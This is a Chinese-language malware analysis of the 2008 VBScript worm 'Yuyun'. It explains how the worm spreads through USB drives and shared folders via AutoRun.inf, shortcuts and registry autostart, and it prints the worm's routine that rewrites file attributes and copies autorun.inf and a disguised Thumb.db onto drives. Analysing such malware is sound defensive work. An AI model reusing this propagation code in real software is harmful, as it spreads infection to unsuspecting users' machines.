先讲一下这个病毒的效果和原理吧 这个病毒会不断传播自己,并且把一段提前写好的话写到[Baca Aq.rtf]和[My Name is Yuyun.rtf]中 这个病毒的传播方式是U盘和共享文件夹传播,主要就是通过AutoRun.inf和1kb快捷方式传播自己 这个病毒除了不断传播自己和谐一段莫名其妙的话以外就没有什么其他骚操作了。。。
'======================================================= ' My name : Yuyun Ver 1.0 ' I just wanna see every girl looks nice, better, kinds especially a moslem girl ' by: Anonymouse in Jatim, November 2008 ' When I found nothing beauty else... and then I wrote this script for all '======================================================= 这几行只是作者写的几句话,并没有什么卵用。。。 百度翻译一下,就是: '(=)(=)(=)(=)(=) 我的名字:玉云1.0版 “我只想看到每个女孩看起来都很漂亮,更好,特别是一个穆斯林女孩。” 'by:2008年11月,在贾蒂姆的Anonymouse “当我没有发现其他美的时候……然后我为所有人写了这个剧本 '(=)(=)(=)(=)(=) 对于百度的翻译我已经五体投地。。。
然后这里有几个函数: 1 Sub rekursif(path, dp) 2 Sub dropf(path) 3 Sub shorZvnita(path, trgt) 4 Function attack_net() 5 Sub tdr() 6 Function UNISKA() 7 Sub regQ() 8 Sub Hertz(ooo) 这几个函数功能如下: 123实现了U盘自动传播 34实现了共享文件夹传播 5通过错误检查检测运行环境 6写自己的一大堆话到rtf里面 7操作注册表实现桌面顽固图标和开机自启 8综合操作,调用了一下前面的几个函数
上面只是宏观的概括了一下该病毒的功能,其具体的行为有以下几个: 1、写AutoRun.inf 先把内容写到Auto.exe里,再复制到AutoRun.inf 代码如下: g1 = path + "\autorun.inf" If fso.FileExists(g1) Then Set g11 = fso.getfile(g1) If g11.Attributes <> 39 Then g11.Attributes = 0 auto.Copy path + "\autorun.inf", True End If Else auto.Copy path + "\autorun.inf", True End If If fso.FileExists(g2) Then Set g12 = fso.getfile(g2) If g12.Attributes <> 39 Then g12.Attributes = 0 AQ.Copy path + "\Thumb.db", True End If Else AQ.Copy path + "\Thumb.db", True End If